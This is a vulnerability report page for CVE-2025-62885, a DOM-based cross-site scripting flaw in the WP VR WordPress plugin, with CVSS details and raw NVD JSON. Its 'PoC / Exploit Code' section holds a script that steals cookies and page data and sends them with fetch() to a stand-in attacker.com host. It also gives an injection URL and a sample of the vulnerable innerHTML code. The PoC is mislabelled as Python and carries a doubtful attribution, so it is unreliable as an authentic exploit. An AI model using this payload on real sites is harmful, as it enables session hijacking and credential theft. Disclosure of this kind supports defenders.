Security Vulnerability Report
中文
CVE-2025-62885 CVSS 6.5 MEDIUM

CVE-2025-62885

Published: 2025-10-27 02:15:47
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RexTheme WP VR wpvr allows DOM-Based XSS.This issue affects WP VR: from n/a through <= 8.5.48.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP VR <= 8.5.48

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62885 PoC - DOM-based XSS in WP VR plugin // Target: WordPress site with WP VR plugin <= 8.5.48 // Author: PatchStack const poc = ` <!-- XSS Payload for WP VR DOM-based XSS --> <script> // Malicious script that steals cookies and sends to attacker server (function() { const stolenData = { cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent, referrer: document.referrer }; // Send stolen data to attacker's server fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(stolenData))); // Optional: Session hijacking example const sessionCookie = document.cookie.match(/wordpress_[^=]+=[^;]+/); if (sessionCookie) { console.log('Session cookie captured:', sessionCookie[0]); } })(); </script> `; // Attack vector demonstration const attackUrl = 'https://target-wordpress-site.com/?vr_id="><script>alert("XSS")</script>'; // DOM-based XSS trigger example const domXssTrigger = ` // If the plugin reflects URL parameters into the DOM without sanitization const params = new URLSearchParams(window.location.search); const vrId = params.get('vr_id'); // Vulnerable code: directly inserting into DOM document.getElementById('wpvr-container').innerHTML = vrId; `; console.log('CVE-2025-62885 PoC generated'); console.log('Attack URL:', attackUrl);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62885", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:47.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RexTheme WP VR wpvr allows DOM-Based XSS.This issue affects WP VR: from n/a through <= 8.5.48."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpvr/vulnerability/wordpress-wp-vr-plugin-8-5-42-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}